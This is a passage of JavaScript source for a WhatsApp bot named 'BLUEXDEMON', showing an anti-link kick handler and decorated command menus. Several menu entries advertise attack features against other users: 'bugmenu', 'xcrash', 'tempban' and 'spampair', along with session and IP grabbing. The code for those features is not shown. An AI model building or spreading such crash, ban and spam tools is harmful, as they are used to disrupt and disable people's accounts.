blue.sendMessage(m.chat, {
text: `*Antilink Group Terdeteksi*\n\nKamu Akan Dikeluarkan Dari Group ${groupMetadata.subject}`
}, {
quoted: m
})
blue.groupParticipantsUpdate(m.chat, [sender], 'delete')
blue.sendMessage(m.chat, {
delete: m.key
})
}
}
switch (command) {
case 'menu': {
await loading()
const darkphonk = fs.readFileSync('./database/Phonk.mp3');
const image = fs.readFileSync('./database/image/xbug.jpg');
const version = require("baileys/package.json").version;
const menu2 = `┏━━ 「 \`𝐁𝐋𝐔𝐄𝐗𝐃𝐄𝐌𝐎𝐍\` 」 ━━❐
┃✾ᐉ 𝐍𝐚𝐦𝐞 : *${pushname}*
┃✾ᐉ 𝐑𝐮𝐧 : *${run}*
┃✾ᐉ 𝐏𝐫𝐞𝐟𝐢𝐱 : *${prefix}*
┃✾ᐉ 𝐌𝐨𝐝𝐞 : *${currentMode}*
┃✾ᐉ 𝐓𝐢𝐦𝐞 : *${time2}*
┗━━━━━━━━━━━━━━━━━━❐
👾 \`𝕻𝖗𝖔𝖙𝖊𝖈𝖙 𝖙𝖍𝖔𝖘𝖊 𝖞𝖔𝖚 𝖑𝖔𝖛𝖊\` 👾
*𝖜𝖍𝖔 𝖉𝖆𝖗𝖊𝖘*
『〆⑆ *ᴀʟʟᴍᴇɴᴜ* 』
『〆⑆ *ʙᴜɢᴍᴇɴᴜ* 』
『〆⑆ *xᴄʀᴀꜱʜ* 』
『〆⑆ *ꜱᴘᴇᴄɪᴀʟᴍᴇɴᴜ* 』
> Great thanks goes to👇
> 𝔻𝕆ℕ 𝕋𝔼ℂℍ 𝕀ℕℂ
`;
// Send the image
await blue.sendMessage(m.chat, {
image: image,
caption: menu2
});
// Send the audio as a push-to-talk (PTT) message
await blue.sendMessage(m.chat, {
audio: darkphonk,
mimetype: 'audio/mp4',
ptt: true
});
break;
}
case 'bluemenu':
case 'allmenu': {
await loading()
const version = require("baileys/package.json").version;
let run = runtime(process.uptime());
const allmenu = `┏━━ 「 \`𝐁𝐋𝐔𝐄𝐗𝐃𝐄𝐌𝐎𝐍\` 」 ━━❐
┃✾ᐉ 𝐍𝐚𝐦𝐞 : *${pushname}*
┃✾ᐉ 𝐑𝐮𝐧 : *${run}*
┃✾ᐉ 𝐏𝐫𝐞𝐟𝐢𝐱 : *${prefix}*
┃✾ᐉ 𝐌𝐨𝐝𝐞 : *${currentMode}*
┃✾ᐉ 𝐓𝐢𝐦𝐞 : *${time2}*
┗━━━━━━━━━━━━━━━━━━❐
┏─『 \`𝐎𝐖𝐍𝐄𝐑 𝐌𝐄𝐍𝐔\` 』
│ ⑄ ᴀᴅᴅᴏᴡɴᴇʀ
│ ⑄ ᴀᴅᴅᴘʀᴇᴍ
│ ⑄ ɢᴇᴛᴏᴡɴᴇʀ
│ ⑄ ɢᴇᴛᴘʀᴇᴍ
│ ⑄ ᴅᴇʟᴏᴡɴᴇʀ
│ ⑄ ᴅᴇʟᴘʀᴇᴍ
│ ⑄ ᴘᴜʙʟɪᴄ
│ ⑄ sᴇʟғ
│ ⑄ ᴘɪɴɢ
│ ⑄ ʙʟᴏᴄᴋ
│ ⑄ ᴜɴʙʟᴏᴄᴋ
│ ⑄ ᴍᴏᴅᴇ
│ ⑄ ᴅᴇʟ
│ ⑄ ᴊᴏɪɴ
│ ⑄ ᴄʟᴇᴀʀᴄʜᴀᴛ
│ ⑄ ꜱᴇᴛɴᴀᴍᴇ
│ ⑄ ꜱᴇᴛʙɪᴏ
│ ⑄ ʀᴇꜱᴛᴀʀᴛ
│ ⑄ ꜱᴇᴛᴘᴘ
┗─────────────❐
┏─『 \`𝐃𝐎𝐖𝐍𝐋𝐎𝐀𝐃𝐄𝐑𝐒\` 』
│ ⑄ ᴛɪᴋᴛᴏᴋ
│ ⑄ ꜰᴀᴄᴇʙᴏᴏᴋ
│ ⑄ ɪɴꜱᴛᴀɢʀᴀᴍ
│ ⑄ ʏᴛꜱᴇᴀʀᴄʜ
│ ⑄ ʏᴛꜱ
│ ⑄ ᴘʟᴀʏ
│ ⑄ ꜱᴏɴɢ
│ ⑄ ʏᴛᴠɪᴅᴇᴏꜱ
│ ⑄ ꜱᴘᴏᴛɪꜰʏ
│ ⑄ ʟʏʀɪᴄꜱ
┗─────────────❐
┏─『 \`𝐆𝐑𝐎𝐔𝐏 𝐌𝐄𝐍𝐔\` 』
│ ⑄ ɢᴄʟɪɴᴋ
│ ⑄ ꜱᴠᴄᴏɴᴛᴀᴄᴛ
│ ⑄ ʜɪᴅᴇᴛᴀɢ
│ ⑄ ᴛᴀɢ
│ ⑄ ᴛᴀɢᴀʟʟ
│ ⑄ ᴀᴅᴅ
│ ⑄ ᴋɪᴄᴋ
│ ⑄ ᴘʀᴏᴍᴏᴛᴇ
│ ⑄ ᴅᴇᴍᴏᴛᴇ
│ ⑄ ᴍᴜᴛᴇ
│ ⑄ ᴜɴᴍᴜᴛᴇ
│ ⑄ ɪɴᴠɪᴛᴇ
│ ⑄ ʟᴇᴀᴠᴇɢᴄ
│ ⑄ ᴄʟᴏꜱᴇɢᴄ
│ ⑄ ᴏᴘᴇɴɢᴄ
│ ⑄ ꜱᴇᴛᴅᴇꜱᴄ
│ ⑄ ɢᴇᴛᴘᴘ
│ ⑄ ʀᴇꜱᴇᴛɢᴄʟɪɴᴋ
┗─────────────❐
┏─『 \`𝐓𝐎𝐎𝐋𝐒 𝐌𝐄𝐍𝐔\` 』
│ ⑄ ᴜᴘᴅᴀᴛᴇ
│ ⑄ ᴇɴᴄ <ᴄᴏᴅᴇ>
│ ⑄ ᴇɴᴄʀʏᴘᴛ <ᴄᴏᴅᴇ>
│ ⑄ ᴀɪ
│ ⑄ ᴠᴠ
│ ⑄ ɢᴇᴛꜱᴇꜱꜱɪᴏɴ
│ ⑄ ᴀᴜᴛᴏꜱᴛᴀᴛᴜꜱ
│ ⑄ ʟɪꜱᴛʙʟᴏᴄᴋ
│ ⑄ ᴅᴇᴠɪᴄᴇ
│ ⑄ ɢᴇᴛɪᴘ
│ ⑄ ᴛᴏᴛᴀʟᴄᴍᴅ
│ ⑄ ʀᴜɴᴛɪᴍᴇ
│ ⑄ ᴛɪᴍᴇ
│ ⑄ ᴇxᴄʜᴀɴɢᴇ
┗─────────────❐
┏─『 \`𝐅𝐔𝐍 𝐌𝐄𝐍𝐔\` 』
│ ⑄ ᴛᴀᴋᴇ
│ ⑄ ʜᴅᴠɪᴅᴇᴏ
│ ⑄ ꜱᴛɪᴄᴋᴇʀ
│ ⑄ ʟᴏᴠᴇ
│ ⑄ ᴀɴɢʀʏ
│ ⑄ ᴄᴏɴꜰᴜꜱᴇ
┗─────────────❐
┏─『 \`𝐒𝐓𝐘𝐋𝐄 𝐌𝐄𝐍𝐔\` 』
│ ⑄ ɢʟɪᴛᴄʜᴛᴇxᴛ
│ ⑄ ᴡʀɪᴛᴇᴛᴇxᴛ
│ ⑄ ᴀᴅᴠᴀɴᴄᴇᴅɢʟᴏᴡ
│ ⑄ ᴛʏᴘᴏɢʀᴀᴘʜʏᴛᴇxᴛ
│ ⑄ ᴘɪxᴇʟɢʟɪᴛᴄʜ
│ ⑄ ɴᴇᴏɴɢʟɪᴛᴄʜ
│ ⑄ ꜰʟᴀɢᴛᴇxᴛ
│ ⑄ ᴅᴇʟᴇᴛɪɴɢᴛᴇxᴛ
│ ⑄ ʙʟᴀᴄᴋᴘɪɴᴋꜱᴛʏʟᴇ
│ ⑄ ɢʟᴏᴡɪɴɢᴛᴇxᴛ
│ ⑄ ᴜɴᴅᴇʀᴡᴀᴛᴇʀᴛᴇxᴛ
│ ⑄ ʟᴏɢᴏᴍᴀᴋᴇʀ
│ ⑄ ᴄᴀʀᴛᴏᴏɴꜱᴛʏʟᴇ
│ ⑄ ᴘᴀᴘᴇʀᴄᴜᴛꜱᴛʏʟᴇ
│ ⑄ ᴡᴀᴛᴇʀᴄᴏʟᴏʀᴛᴇxᴛ
│ ⑄ ᴇꜰꜰᴇᴄᴛᴄʟᴏᴜᴅꜱ
│ ⑄ ʙʟᴀᴄᴋᴘɪɴᴋʟᴏɢᴏ
│ ⑄ ɢʀᴀᴅɪᴇɴᴛᴛᴇxᴛ
│ ⑄ ꜱᴜᴍᴍᴇʀʙᴇᴀᴄʜ
│ ⑄ ʟᴜxᴜʀʏɢᴏʟᴅ
│ ⑄ ᴍᴜʟᴛɪᴄᴏʟᴏʀᴇᴅɴᴇᴏɴ
│ ⑄ ꜱᴀɴᴅꜱᴜᴍᴍᴇʀ
│ ⑄ ɢᴀʟᴀxʏᴡᴀʟʟᴘᴀᴘᴇʀ
│ ⑄ 1917ꜱᴛʏʟᴇ
│ ⑄ ᴍᴀᴋɪɴɢɴᴇᴏɴ
│ ⑄ ʀᴏʏᴀʟᴛᴇxᴛ
│ ⑄ ꜰʀᴇᴇᴄʀᴇᴀᴛᴇ
│ ⑄ ɢᴀʟᴀxʏꜱᴛʏʟᴇ
│ ⑄ ʟɪɢʜᴛᴇꜰꜰᴇᴄᴛꜱ
┗─────────────❐
`;
// Send the image with the menu
const image = fs.readFileSync('./database/image/xbug.jpg');
await blue.sendMessage(m.chat, {
image: image,
caption: allmenu
});
break;
}
case 'specialmenu': {
await loading()
const version = require("baileys/package.json").version;
let run = runtime(process.uptime());
const darkphonk = fs.readFileSync('./database/Phonk.mp3');
const allmenu = `┏━━ 「 \`𝐁𝐋𝐔𝐄𝐗𝐃𝐄𝐌𝐎𝐍\` 」 ━━❐
┃✾ᐉ 𝐍𝐚𝐦𝐞 : *${pushname}*
┃✾ᐉ 𝐑𝐮𝐧 : *${run}*
┃✾ᐉ 𝐏𝐫𝐞𝐟𝐢𝐱 : *${prefix}*
┃✾ᐉ 𝐌𝐨𝐝𝐞 : *${currentMode}*
┃✾ᐉ 𝐓𝐢𝐦𝐞 : *${time2}*
┗━━━━━━━━━━━━━━━━━━❐
┏─『 \`𝐒𝐏𝐄𝐂𝐈𝐀𝐋𝐌𝐄𝐍𝐔\` 』
│ ⑄ ᴛᴇᴍᴘʙᴀɴ
│ ⑄ ᴀɴᴛɪʙᴜɢᴏɴ
│ ⑄ ᴀɴᴛɪʙᴜɢᴏꜰꜰ
│ ⑄ ꜱᴘᴀᴍᴘᴀɪʀ